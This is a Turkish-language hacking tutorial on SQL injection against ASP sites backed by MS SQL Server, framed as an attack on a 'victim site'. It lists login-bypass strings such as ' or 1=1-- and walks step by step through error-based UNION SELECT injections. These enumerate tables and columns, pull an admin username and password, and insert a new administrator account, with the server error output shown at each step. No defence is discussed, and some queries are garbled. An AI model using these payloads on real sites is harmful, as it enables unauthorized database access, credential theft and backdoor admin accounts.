ASP SQL ENJEKSIYON
ASP SQL ENJEKSIYON
ASP Sql Enjeksiyon a geçmeden önce bir kaç temel kavrama bakalim;
Database = Veritabani Nedir :
Veritabani verilerimizin düzenli olarak saklandigi dijital bir
ortamdir. Verilerimizi anlamli kilmak da bizim bilfimizi olusturur.
Veritabani Programlari:
Günümüzde, birçok firmanin ürettigi db programlari mevcuttur… Ama
bunlarin en bilinenleri ORACLE , SQL SERVER, MS ACCESS, FOX PRO’dur.
SQL Nedir :
Sql (Structured Query Language) bir veritabani dilidir.Uygulama
gelistiriciler, bir veritabanina yeni tablo veya veri eklerken,
silerken veya bir veriyi ararken bu dili kullanirlar.
Bu anlamda genis kabul görmüs bir standarttir. Örnegin MS ACCESS’te
bunu yapmanin baska yöntemleri de olsa, sonuçta Sql karsiligi her
zaman vardir. Örnek bir Sql ifadesi yazalim;
diyelim ki xchatx tablosundan Hack isimli dökümanin fiyatini bize
bulsun 🙂 Sql da sorgulamalar SELECT ile yapilir Bu sorgu yazilisi ;
SELECT fiyat FROM xchatx WHERE dokuman ismi=”hack”
SELECT deyiminden sonraki gelen ilk ifade, sorgunun sonundaki WHERE
kriterine göre tespit edilen kriterlerin hangi alanlarinin
görüntülenecegi bilgisidir. FROM deyiminden sonraki ifade,
sorgulkamanin hangi tablodan yapilacagini bildirir. WHERE deyimi
ise , sorgulamanin hangi kriter ya da kriterlere göre yapilacagini
belirtmemizi saglar.
Iste SQL ENJEKSIYON DA ILK BASTA SITENIN DB sindeki TABLO Ismini
bilmemiz gerekmez mi sizce yoksa SELECT WHERE Falan nasi kullanalim
o nedenle SqL a ilk basta hata verdirip Tablo ismini ögrenmeliyiz.
SQL Hata verdirtmek için sunlar yapilabilir:
Asp sql enjeksiyondan bahsedecegim
Asp sitemizin tabiki db si ve sql si olan 🙂 search engine ya da
login barina :
Bunu yaziyoruz 🙂 Egeeer :
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value ’xchatx1’ to a column of data type
int.
/index.asp, line 29
Burda illa da line 29 ve index.asp olmak zorunda degil tipa tip
aynisi olmayacak elbette sadece Sytntax error oracle falan çikmasi
lazim…
Baska türlü de sql a hata verdirebilirsiniz :
’ or 1=1–
” or 1=1–
’ or ’a’=’a
or 1=1–
’) or (’a’=’a
” or “a”=”a
Bunlari da aynene deneyin …
simdi o hatayi aldik da ne oldu diyorsaniz orda TABLE ismini
ögrendik 🙂 xchatx1 table namemimiz.
Simdi burdan diger tablolarinda ismini ögrenmemiz lazim…
SELECT* FROM xchatx1 WHERE dokumanID=’’ or 1=1–’
Burda yaptigimiz sey bize xchatx1 table inda dokumanIDsi bos olan
seyi getir ya da 1=1 degerine uyan tabloyu getir dedik burda feyk
attik SQL a yani.
Burdan diger table isimlerini de ögreniriz. Sonra istedigimiz seyi
SELECT WHERE deyimlerini kullanarak getiririz. Önümüze…
Simdi örnek bi saldiri yapalim ve yeni seyler ögrenelim biraz daha :
ilk önce kurban siteyi seçtik….
Baktik sql açigi da var ’ bu isaret ile test ettik açik var yani.
http://http://www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1
TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–
UNION SQL a birden çok soru sormak için kullandik.
INFORMATION_SCHEMA.TABLES– ise hiç table ismi bilmedigimiz için
yazdik
Top 1 table_name ise en üstteki tablo anlamina geliyor.
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’serles’ to a column of data type int.
/index.asp, line 23
Hatamizi aldik 🙂
Top 1 table_name serles mis!!
Simdi isimize yarayacak tablelari ögrenelim mesela admin table
larini burda da LIKE deyimini kullanicaz içinde admin geçen
kelimeleri getir bize SQL!!! dicez 🙂
http://www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1
TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%
25admin%25’–
Hatayi aliyoruz :
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’admins’ to a column of data type int.
/index.asp, line 3
Burda admin diye baslayan admins diye bir table var. Simdi bu admins
table inin column yani sutünlarini ögrenme zamani!
Kodu yaziyoruz : http://www.siteadi.org/index.asp?catid=3 UNION
SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME LIKE = ’admins’–
Burada da INFORMATION_SCHEMA.TABLES yerine
INFORMATION_SCHEMA.COLUMNS deyimini yazdik. Yani yine feyk attik
sql’e, o da bu feykimizi yedi:
Hatayi alalim :
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’logonID’ to a column of data type
int.
/index.asp, line 22
ilk kolum LogonID çikti 🙂
Simdi 2. sütünü istiyoruz :
http://www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1
COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logonID’)–
Burda en tepede olan ama LogonID olmayani istedik ve hatayi görelim:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’logs’ to a column of data type int.
Ögrendik adi logs.
Artik sifre neredeyse geliyor kucagimiza 🙂
Önce Password ve detaillarina bakicaz.
http://www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1
COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN
(’logonID’,’logs’,’password’,details’)–
Hata : Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’ [Microsoft][ODBC sql Server Driver][sql Server]ORDER BY items must
appear in the select list if the statement contains a UNION
operator.
/index.asp, line 4
iki sütün var sansimiza güvenelim ilk logonu deneyelim :
http://www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1 logon
FROM admins–
admins table indaki logon sütunundaki ilk ini seçiyoruz.
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’xrealcrack’ to a column of data type
int.
/index.asp, line 7
ve admin nick geldi.
xrealcrack isimli kullanicinin sifresini ver bize SQL 🙂 :
http://www.siteadi.org/index.asp?catid=3 UNION SELECT TOP 1 password
FROM admins where logon=’ xrealcrack ’–
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC sql Server Driver][sql Server]Syntax error
converting the nvarchar value ’albert8387vsc’ to a column of data
type int.
/index.asp, line 4
Sifremizi aldik albert8387vsc 🙂 ok artik hackledik..
Kendimiz de kullanici yaratabiliriz admins table inda logon column
ünde 🙂
Kodu : http://www.siteadi.org/index.asp?catid=3; INSERT
INTO ’admins’ (’logonID’, ’logon’, ’password’, ’details’) VALUES
(223,’SwmeRt’,’123456’,’NA’)–
SwmeRt nickli bi admin olusturduk sifresi de : 123456 iste bu
kadar…